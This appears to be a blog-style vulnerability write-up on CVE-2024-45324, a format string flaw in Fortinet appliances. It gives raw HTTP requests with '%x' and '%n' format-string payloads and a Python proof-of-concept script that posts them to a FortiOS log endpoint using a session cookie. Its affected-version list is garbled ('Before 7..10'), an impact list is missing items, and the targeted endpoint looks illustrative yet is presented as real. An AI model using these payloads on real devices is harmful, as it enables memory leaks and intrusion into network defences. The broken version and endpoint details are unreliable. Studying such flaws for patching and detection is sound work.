CVE-2024-45324 - In-Depth Look at Fortinet’s Dangerous Format String Vulnerability

Fortinet’s security appliances are everywhere — in banks, schools, hospitals, and far beyond. That’s what makes CVE-2024-45324 so serious: a _use of externally-controlled format string vulnerability_ that, in the right hands, can turn your firewall into a launching point for a cyberattack.

In this long read, we’ll break down what this vulnerability is, how attackers can exploit it, and what you can do to protect your devices. We’ll also give you practical code snippets for detecting or simulating attacks (all for educational purposes), and point you to official sources.

What is CVE-2024-45324?

CVE-2024-45324 is a format string vulnerability (CWE-134) found in multiple Fortinet products and versions, including:

Before 7..10

Attackers with privileged access can exploit this by sending specially crafted HTTP/HTTPS requests containing malicious format strings.

Official advisory: Fortinet Security Advisory for CVE-2024-45324

Why Are Format String Vulnerabilities Dangerous?

In “normal” programming, format strings are used for output, like printing variables. For example, in C:

printf("User input: %s\n", user_input);

But if the programmer writes

printf(user_input);

Suddenly, the user controls what gets _interpreted_, not just what's displayed. With the correct payload, an attacker can leak memory, crash the program, or even execute arbitrary code.

1. Privileged Access

The flaw only works if the attacker is already privileged (has some admin/control panel access). So in most cases, they must first achieve this via some other vulnerability, social engineering, or insider threat.

2. Abuse Format String Parsing

Fortinet’s code fails to sanitize user-supplied input in certain HTTP/HTTPS fields before passing it to risky format string APIs.

For example, imagine this pseudocode inside a vulnerable Fortinet component

// Bad: directly passing user input to a printf-like function
char *user_message = get_http_parameter("message");
log_event(user_message); // eventually calls printf(user_message)

An attacker POSTs

POST /vulnerable_path HTTP/1.1
Host: fortinet-device

message=%x%x%x%x%n

Here, %x prints stack values, exposing memory. %n writes arbitrary bytes, potentially letting attackers inject or redirect code.

Crash the service: Triggering a denial of service.

- Execute code/commands: Although this requires further exploitation, format string bugs have led to full remote code execution (RCE) in real-world attacks.

Example Exploit Payload

Suppose you have a privileged session on a vulnerable FortiOS panel. You craft the following HTTP request, targeting a known-vulnerable field (e.g., a logging parameter):

POST /api/v1/system/log HTTP/1.1
Host: fortigate.local
Cookie: session=your-session-cookie
Content-Type: application/json

{
  "log_message": "%x %x %x %x | %s"
}

If the field is vulnerable, the response (or the device log) now leaks memory addresses or stack contents.

In a real, advanced exploit, you might build a payload to write arbitrary data with %n, corrupting memory, changing code flow, or even spawning a shell (remote command execution).

Proof of Concept (PoC) – Python Example

Disclaimer: For educational use only; do not target live systems without permission.

import requests

url = "https://FIREWALL-IP/api/v1/system/log";
cookies = {"session": "YOUR-SESSION-COOKIE"}
headers = {"Content-Type": "application/json"}

payload = {
    "log_message": "%x %x %x %x %x | %s"
}

r = requests.post(url, json=payload, cookies=cookies, verify=False)
print("Status:", r.status_code)
print("Response:", r.text)

Note: Replace FIREWALL-IP and YOUR-SESSION-COOKIE with your target/private test device parameters.

Patch ASAP

- See Fortinet’s Advisory.

Conclusion

CVE-2024-45324 is a classic but critical example of why input validation and secure coding matter, even in enterprise security appliances. With format string vulnerabilities, a single line of bad code can undermine your whole security posture—especially if attackers can reach privileged web panels.

The best protection is defense in depth: patching quickly, minimizing privileged access, hardening your Fortinet devices, and monitoring for indicators of compromise.

References

- Fortinet Security Advisory – CVE-2024-45324
- MITRE CWE-134: Externally-Controlled Format String


*Written exclusively for you. Stay safe — and patch early!*

Timeline

Published on: 03/11/2025 15:15:41 UTC